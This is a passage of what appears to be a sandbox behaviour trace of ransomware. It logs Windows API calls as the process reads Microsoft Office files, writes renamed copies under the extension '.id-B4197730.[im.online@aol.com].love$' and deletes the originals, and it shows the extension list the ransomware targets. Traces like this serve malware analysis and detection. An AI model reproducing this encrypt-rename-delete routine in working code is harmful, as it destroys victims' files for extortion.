office\\root\\clipart\\pub60cor\\schol_02.mid.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0249.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0249.090] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0249.090] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0249.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0249.091] GetLastError () returned 0x0 [0249.091] ReadFile (in: hFile=0x538, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x13c2, lpOverlapped=0x0) returned 1 [0249.159] WriteFile (in: hFile=0x548, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x13d0, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x13d0, lpOverlapped=0x0) returned 1 [0249.160] ReadFile (in: hFile=0x538, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0249.161] WriteFile (in: hFile=0x548, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xec, lpOverlapped=0x0) returned 1 [0249.161] SetEndOfFile (hFile=0x548) returned 1 [0249.199] CloseHandle (hObject=0x548) returned 1 [0249.200] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0249.200] SetEndOfFile (hFile=0x538) returned 1 [0249.210] CloseHandle (hObject=0x538) returned 1 [0249.210] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0249.212] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\schol_02.mid")) returned 1 [0249.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0249.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0249.223] lstrlenW (lpString=".doc") returned 4 [0249.224] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0249.224] lstrlenW (lpString=".docx") returned 5 [0249.224] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0249.224] lstrlenW (lpString=".pdf") returned 4 [0249.224] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0249.224] lstrlenW (lpString=".xls") returned 4 [0249.224] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0249.224] lstrlenW (lpString=".xlsx") returned 5 [0249.224] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0249.224] lstrlenW (lpString=".ppt") returned 4 [0249.224] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0249.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0249.224] lstrlenW (lpString=".zip") returned 4 [0249.224] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0249.224] lstrlenW (lpString=".rar") returned 4 [0249.224] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0249.224] lstrlenW (lpString=".bz2") returned 4 [0249.224] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0249.224] lstrlenW (lpString=".7z") returned 3 [0249.224] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0249.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0249.224] lstrlenW (lpString=".dbf") returned 4 [0249.224] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0249.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0249.224] lstrlenW (lpString=".1cd") returned 4 [0249.224] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0249.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0249.224] lstrlenW (lpString=".jpg") returned 4 [0249.224] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0249.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0249.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0249.225] lstrlenW (lpString=".doc") returned 4 [0249.225] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0249.225] lstrlenW (lpString=".docx") returned 5 [0249.225] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0249.225] lstrlenW (lpString=".pdf") returned 4 [0249.225] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0249.225] lstrlenW (lpString=".xls") returned 4 [0249.225] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0249.225] lstrlenW (lpString=".xlsx") returned 5 [0249.225] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0249.225] lstrlenW (lpString=".ppt") returned 4 [0249.225] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0249.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0249.225] lstrlenW (lpString=".zip") returned 4 [0249.225] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0249.225] lstrlenW (lpString=".rar") returned 4 [0249.225] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0249.225] lstrlenW (lpString=".bz2") returned 4 [0249.225] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0249.225] lstrlenW (lpString=".7z") returned 3 [0249.225] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0249.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0249.225] lstrlenW (lpString=".dbf") returned 4 [0249.225] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0249.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0249.225] lstrlenW (lpString=".1cd") returned 4 [0249.225] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0249.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 68 [0249.225] lstrlenW (lpString=".jpg") returned 4 [0249.225] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0249.226] lstrcmpiW (lpString1=".eftx", lpString2=".love$") returned -1 [0249.226] lstrlenW (lpString="Banded Edge.eftx") returned 16 [0249.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0249.231] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=47851) returned 1 [0249.231] CloseHandle (hObject=0x538) returned 1 [0249.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx")) returned 0x220 [0249.231] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0249.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0249.232] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0249.232] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0249.232] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0249.519] GetLastError () returned 0x0 [0249.519] ReadFile (in: hFile=0x538, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0xbaeb, lpOverlapped=0x0) returned 1 [0249.522] WriteFile (in: hFile=0x388, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xbaf0, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xbaf0, lpOverlapped=0x0) returned 1 [0249.524] ReadFile (in: hFile=0x538, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0249.524] WriteFile (in: hFile=0x388, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xf4, lpOverlapped=0x0) returned 1 [0249.524] SetEndOfFile (hFile=0x388) returned 1 [0249.524] CloseHandle (hObject=0x388) returned 1 [0249.524] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0249.524] SetEndOfFile (hFile=0x538) returned 1 [0249.529] CloseHandle (hObject=0x538) returned 1 [0249.529] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0249.530] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\banded edge.eftx")) returned 1 [0249.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0249.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0249.531] lstrlenW (lpString=".doc") returned 4 [0249.531] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0249.531] lstrlenW (lpString=".docx") returned 5 [0249.531] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0249.531] lstrlenW (lpString=".pdf") returned 4 [0249.531] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0249.531] lstrlenW (lpString=".xls") returned 4 [0249.531] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0249.531] lstrlenW (lpString=".xlsx") returned 5 [0249.531] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0249.531] lstrlenW (lpString=".ppt") returned 4 [0249.531] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0249.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0249.531] lstrlenW (lpString=".zip") returned 4 [0249.531] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0249.531] lstrlenW (lpString=".rar") returned 4 [0249.531] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0249.531] lstrlenW (lpString=".bz2") returned 4 [0249.531] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0249.531] lstrlenW (lpString=".7z") returned 3 [0249.531] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0249.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0249.531] lstrlenW (lpString=".dbf") returned 4 [0249.531] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0249.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0249.531] lstrlenW (lpString=".1cd") returned 4 [0249.531] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0249.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0249.531] lstrlenW (lpString=".jpg") returned 4 [0249.531] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0249.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0249.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0249.532] lstrlenW (lpString=".doc") returned 4 [0249.532] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0249.532] lstrlenW (lpString=".docx") returned 5 [0249.532] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0249.532] lstrlenW (lpString=".pdf") returned 4 [0249.532] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0249.532] lstrlenW (lpString=".xls") returned 4 [0249.532] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0249.532] lstrlenW (lpString=".xlsx") returned 5 [0249.532] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0249.532] lstrlenW (lpString=".ppt") returned 4 [0249.532] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0249.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0249.532] lstrlenW (lpString=".zip") returned 4 [0249.532] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0249.532] lstrlenW (lpString=".rar") returned 4 [0249.532] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0249.532] lstrlenW (lpString=".bz2") returned 4 [0249.532] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0249.532] lstrlenW (lpString=".7z") returned 3 [0249.532] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0249.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0249.532] lstrlenW (lpString=".dbf") returned 4 [0249.532] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0249.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0249.532] lstrlenW (lpString=".1cd") returned 4 [0249.532] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0249.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Banded Edge.eftx") returned 88 [0249.532] lstrlenW (lpString=".jpg") returned 4 [0249.532] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0249.532] lstrcmpiW (lpString1=".eftx", lpString2=".love$") returned -1 [0249.532] lstrlenW (lpString="Frosted Glass.eftx") returned 18 [0249.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0249.533] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=334131) returned 1 [0249.533] CloseHandle (hObject=0x538) returned 1 [0249.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx")) returned 0x220 [0249.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0249.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0249.534] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0249.534] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0249.534] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0249.535] GetLastError () returned 0x0 [0249.535] ReadFile (in: hFile=0x538, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x51933, lpOverlapped=0x0) returned 1 [0249.573] WriteFile (in: hFile=0x388, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0x51940, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0x51940, lpOverlapped=0x0) returned 1 [0249.580] ReadFile (in: hFile=0x538, lpBuffer=0x3ec7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x36efecc, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesRead=0x36efecc*=0x0, lpOverlapped=0x0) returned 1 [0249.580] WriteFile (in: hFile=0x388, lpBuffer=0x3ec7020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x36efc94, lpOverlapped=0x0 | out: lpBuffer=0x3ec7020*, lpNumberOfBytesWritten=0x36efc94*=0xf8, lpOverlapped=0x0) returned 1 [0249.580] SetEndOfFile (hFile=0x388) returned 1 [0249.580] CloseHandle (hObject=0x388) returned 1 [0249.580] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x36efec0 | out: lpNewFilePointer=0x0) returned 1 [0249.580] SetEndOfFile (hFile=0x538) returned 1 [0249.597] CloseHandle (hObject=0x538) returned 1 [0249.598] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0249.598] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\frosted glass.eftx")) returned 1 [0249.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0249.599] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0249.599] lstrlenW (lpString=".doc") returned 4 [0249.599] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0249.599] lstrlenW (lpString=".docx") returned 5 [0249.599] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0249.599] lstrlenW (lpString=".pdf") returned 4 [0249.600] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0249.600] lstrlenW (lpString=".xls") returned 4 [0249.600] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0249.600] lstrlenW (lpString=".xlsx") returned 5 [0249.600] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0249.600] lstrlenW (lpString=".ppt") returned 4 [0249.600] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0249.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0249.600] lstrlenW (lpString=".zip") returned 4 [0249.600] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0249.600] lstrlenW (lpString=".rar") returned 4 [0249.600] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0249.600] lstrlenW (lpString=".bz2") returned 4 [0249.600] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0249.600] lstrlenW (lpString=".7z") returned 3 [0249.600] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0249.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0249.600] lstrlenW (lpString=".dbf") returned 4 [0249.600] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0249.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0249.600] lstrlenW (lpString=".1cd") returned 4 [0249.600] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0249.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0249.600] lstrlenW (lpString=".jpg") returned 4 [0249.600] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0249.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0249.600] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0249.600] lstrlenW (lpString=".doc") returned 4 [0249.600] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0249.600] lstrlenW (lpString=".docx") returned 5 [0249.601] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0249.601] lstrlenW (lpString=".pdf") returned 4 [0249.601] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0249.601] lstrlenW (lpString=".xls") returned 4 [0249.601] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0249.601] lstrlenW (lpString=".xlsx") returned 5 [0249.601] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0249.601] lstrlenW (lpString=".ppt") returned 4 [0249.601] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0249.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0249.601] lstrlenW (lpString=".zip") returned 4 [0249.601] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0249.601] lstrlenW (lpString=".rar") returned 4 [0249.601] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0249.601] lstrlenW (lpString=".bz2") returned 4 [0249.601] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0249.601] lstrlenW (lpString=".7z") returned 3 [0249.601] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0249.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0249.601] lstrlenW (lpString=".dbf") returned 4 [0249.601] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0249.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0249.601] lstrlenW (lpString=".1cd") returned 4 [0249.601] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0249.601] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Frosted Glass.eftx") returned 90 [0249.601] lstrlenW (lpString=".jpg") returned 4 [0249.601] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0249.602] lstrcmpiW (lpString1=".eftx", lpString2=".love$") returned -1 [0249.602] lstrlenW (lpString="Glow Edge.eftx") returned 14 [0249.602] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0249.731] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x36eff14 | out: lpFileSize=0x36eff14*=54347) returned 1 [0249.731] CloseHandle (hObject=0x528) returned 1 [0249.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx")) returned 0x220 [0249.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0249.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glow Edge.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glow edge.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 